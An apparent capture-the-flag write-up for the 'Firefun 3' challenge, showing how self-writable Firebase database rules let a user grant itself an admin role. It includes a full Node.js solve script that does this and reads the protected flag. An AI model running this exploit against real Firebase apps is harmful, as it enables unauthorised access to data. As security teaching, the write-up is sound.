team-logo
Published on

Firefun 3

Authors

Challenge overview

Firefun 3

The challenge provides a URL https://fire.prof.ninja/ to a landing page. Given the challenge name "Firefun" and previous challenges in this series, this suggests a potential Firebase-related vulnerability.

Analysis

1. Firebase configuration discovery

After checking many things which leads to nothing, I checked for the Firebase configuration file, which is commonly exposed at /__/firebase/init.js and here it is:

const firebaseConfig = {
  apiKey: "AIzaSyBX_qnDyJ9pl_csJUprUywtAh9lUbVqPFU",
  authDomain: "udctf24.firebaseapp.com",
  databaseURL: "https://udctf24-default-rtdb.firebaseio.com",
  projectId: "udctf24",
  storageBucket: "udctf24.firebasestorage.app",
  messagingSenderId: "926833250426"
};

2. Authentication research

After obtaining the Firebase config, I hit a wall with authentication. Research into previous versions of this challenge series (specifically looking at write-ups from:

revealed that authentication could be bypassed by creating a new user account using Firebase's authentication methods.

3. Database enumeration

After authenticating, I explored the database paths and storage locations, revealing several interesting endpoints:

{
  "database": {
    "/": {
      "error": "Permission denied",
      "type": "database"
    },
    "/rules": {
      "exists": false,
      "value": null,
      "type": "database"
    },
    "/firefun3": {
      "error": "Permission denied",
      "type": "database"
    }
  },
  "storage": {
    "is_this_secure?.png": {
      "url": "https://firebasestorage.googleapis.com/v0/b/udctf24.firebasestorage.app/o/is_this_secure%3F.png?alt=media&token=e027f317-af0e-4170-beab-eead9fb63a1b",
      "type": "storage"
    }
  }
}
Firefun 3 Database

4. Analysis of database rules

A critical discovery was the database rules structure:

{
  "rules": {
    "users": {
      "$userid": {
        ".read": "$userid === auth.uid",
        ".write": "$userid === auth.uid"
      }
    },
    "flag": {
      ".read": "root.child('users').child(auth.uid).child('roles').child('admin').exists()"
    }
  }
}

This revealed several key points:

  1. Users can read/write to their own paths under /users/{uid}
  2. The flag is only readable if the user has an admin role
  3. Due to the write permissions, we can create our own admin role

Crafting the exploit

The vulnerability stems from the database rules allowing users to write to their own paths, including setting roles. This means we can grant ourselves admin privileges.

I created a Node.js script to automate the exploitation:

const { initializeApp } = require('firebase/app');
const { getAuth, signInWithEmailAndPassword } = require('firebase/auth');
const { getDatabase, ref, set, get } = require('firebase/database');

// Firebase config
const firebaseConfig = {
    apiKey: "AIzaSyBX_qnDyJ9pl_csJUprUywtAh9lUbVqPFU",
    authDomain: "udctf24.firebaseapp.com",
    databaseURL: "https://udctf24-default-rtdb.firebaseio.com",
    projectId: "udctf24",
    storageBucket: "udctf24.firebasestorage.app",
    messagingSenderId: "926833250426"
};

// Initialize Firebase
const app = initializeApp(firebaseConfig);
const auth = getAuth(app);
const db = getDatabase(app);

async function solve() {
    try {
        // Step 1: Authenticate with known credentials
        console.log("Step 1: Authenticating...");
        const userCred = await signInWithEmailAndPassword(auth, "[email protected]", "password");
        console.log("✓ Successfully authenticated as:", userCred.user.email);
        
        // Step 2: Set admin role
        console.log("\nStep 2: Setting admin role...");
        const uid = userCred.user.uid;
        await set(ref(db, `/users/${uid}/roles/admin`), true);
        console.log("✓ Successfully set admin role");
        
        // Step 3: Read flag
        console.log("\nStep 3: Reading flag...");
        const flagSnapshot = await get(ref(db, 'flag'));
        if (flagSnapshot.exists()) {
            console.log("✓ Flag found!");
            console.log("\nFLAG:", flagSnapshot.val());
        } else {
            console.log("❌ Flag not found");
        }
    } catch (error) {
        console.error("Error:", error.message);
    } finally {
        process.exit(0);
    }
}

solve();

Running the Exploit

Set up the environment:

mkdir firefun-solve
cd firefun-solve
npm init -y

Update package.json:

{
  "type": "module",
  "dependencies": {
    "firebase": "^10.8.0"
  }
}

Run the exploit:

node solve.js

Flag:
udctf{wh4t_4_sleuth_y0u_4r3!}

Conclusion

The Firefun 3 challenge effectively demonstrates a common yet critical vulnerability in Firebase applications: improperly configured security rules. While Firebase provides powerful features for building real-time applications, misconfigured permissions can lead to serious security breaches. In this case, the ability for users to write to their own paths, combined with role-based access control being tied to user-controlled data, created a perfect storm for privilege escalation.

Key takeaways

  1. Firebase security rules matter: The challenge demonstrates how improper Firebase security rules can lead to privilege escalation. Always carefully review and test security rules.
  2. Principle of least privilege: Users should not be able to modify their own role assignments. Role management should be restricted to administrative interfaces only.